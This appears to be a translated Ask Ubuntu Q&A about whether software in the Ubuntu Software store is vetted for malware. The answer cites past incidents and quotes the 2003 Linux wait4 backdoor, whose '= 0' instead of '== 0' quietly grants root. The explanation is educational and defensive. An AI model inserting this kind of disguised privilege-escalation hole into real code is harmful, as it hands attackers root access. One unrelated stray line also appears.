我是 Ubuntu 新手。刚刚买了我的第一台运行 Ubuntu 的笔记本电脑。非常喜欢它,但我有一个问题,当我启动应用程序 - Ubuntu 软件 - 在那里我可以按类别浏览或查看编辑精选,这里的所有软件都经过审查了吗?我是否需要担心这里列出的潜在恶意软件?
短暂性失眠!
答案1
这里的所有软件都经过审查了吗?
是的,但这也是一种寻找特定类型代码的自动化过程。下面是后门的示例以及它难以找到的原因。
大部分检查工作都是由该软件的用户(或至少是用户)完成的。发生过几起事件。以下是 2003 年至 2013 年发生的 3 起事件:
- http://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/
- https://freedom-to-tinker.com/2013/09/20/software-transparency-debian-openssl-bug/
- http://www.omgubuntu.co.uk/2013/11/nsa-ask-linus-torvalds-include-backdoors-linux-father-says-yes
通常,当用户发现软件存在问题时,会引起轩然大波。这也是我们使用开源的原因:你可以编写后门,你可以将其放入软件中,但你无法完全隐藏后门。总有一天,有人会注意到这个后门。无论是通过检查代码,还是通过观察系统上发生的事情。
请注意,这也是大量使用 Linux 的用户拒绝安装闭源驱动程序的原因。你永远不知道闭源代码里面有什么。它可能有后门,也可能有“电话回家”恶意软件。
我是否需要担心此处列出的潜在恶意软件?
在某些时候,我们都需要开始信任某个人,而 Canonicals 的业绩记录比微软或苹果好得多。
不在您自己的机器上运行服务器可以减轻几乎所有的问题。
你永远无法 100% 确定,但最好关注其他问题。例如,你的 ISP 记录了你在线所做的一切。这更有可能。或者有人使用你的密码入侵你的机器。
===
从第一个链接开始:一个人叫拉里·麦克沃伊注意到 bitkeeper 软件发生了变化。问题只有一个=
。因此,除非您像他一样看到一些奇怪的东西,否则很难发现:他发现它是由于更改日志的不规则性造成的。更改是...
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
没有用户承认做过这个更改,而且由于记录方式很奇怪,因此推测有人故意将其插入作为后门。而且它还有一个解释:
专家在粗略阅读时会将其解释为无害的错误检查代码,以使 wait4 在以文档禁止的某种方式调用 wait4 时返回错误代码。但真正细心的专家读者会注意到,在第一行的末尾附近,它写的是“= 0”而不是“== 0”。在这样的代码中,正常的写法是“== 0”,它测试当前运行代码(current->uid)的用户 ID 是否等于零,而不修改用户 ID。但实际出现的是“= 0”,其效果是将用户 ID 设置为零。
基本上,这添加了选项 WCLONE 和 WALL,将用户 ID 更改为 root。这就是所谓的后门 :)